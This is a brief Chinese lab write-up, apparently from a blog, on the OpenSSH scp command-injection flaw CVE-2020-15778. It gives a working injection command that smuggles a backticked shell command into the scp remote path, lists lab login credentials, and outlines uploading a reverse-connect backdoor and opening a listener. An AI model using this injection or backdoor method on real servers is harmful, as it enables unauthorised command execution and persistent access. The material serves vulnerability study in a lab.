openssh 命令注入 (CVE-2020-15778)

描述:

OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。
OpenSSH的小于等于8.3p1版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。密码vulfocus:vulfocus

#意思是复制当前目录下的test.txt到目标的/tmp目录下,并且执行 touch /tmp/test.sh 的命令

scp / test.sh root@192.168.10.129:'`cat /tmp/test.sh`/tmp/test.sh'

没有使用小于8.3版本的openssh,只能进行文件上传和下载。也可以拿到后门

首先在本地编写好反联后门

Touch chengwenji.sh

Nano chengwenji.sh

使用scp进行上传

开启端口监听👂

这个条件比较苛刻,需要用户自己打开后门

相关推荐
特立独行的猫a17 小时前
使用 vcpkg 为OpenHarmony(鸿蒙PC)构建 OpenSSH 命令行工具
harmonyos·openharmony·命令行·openssh·vcpkg·鸿蒙pc
特立独行的猫a19 小时前
OpenSSH 介绍及使用Lycium框架移植到鸿蒙 PC(OpenHarmony)平台的实践总结
harmonyos·openssh·鸿蒙pc·lycium_plusplus·三分库移植
道阻且长行则将至!15 天前
ubuntu下scp命令使用,开启ssh服务
linux·运维·ubuntu·scp·scp命令
yuxinaibiancheng2 个月前
yunedit-ssh跟winscp对比有什么好处
ssh·sftp·scp
予枫的编程笔记2 个月前
【Linux进阶篇】SSH密钥认证保姆级实操:告别密码登录,远程连接更安全高效
linux·ssh·scp·rsync·免密登录·ssh-keygen·密钥认证
晚风吹人醒.3 个月前
SSH远程管理及访问控制
linux·运维·ssh·scp·xshell·访问控制·远程管理
阿干tkl4 个月前
OpenSSL 和 OpenSSH 3.6.0 & 10.0p2 升级详细配置手册
openssh
A-刘晨阳6 个月前
【Linux】Centos 8 默认OpenSSH 升级OpenSSH9.8【升级其他OpenSSH版本通用】
linux·运维·centos·ssh·openssh·centos8
siriuuus7 个月前
Linux ssh/scp/sftp命令使用及免密登录配置
linux·ssh·sftp·scp
冲凉丶9 个月前
Linux中scp命令传输文件到服务器报错
linux·服务器·scp·传输文件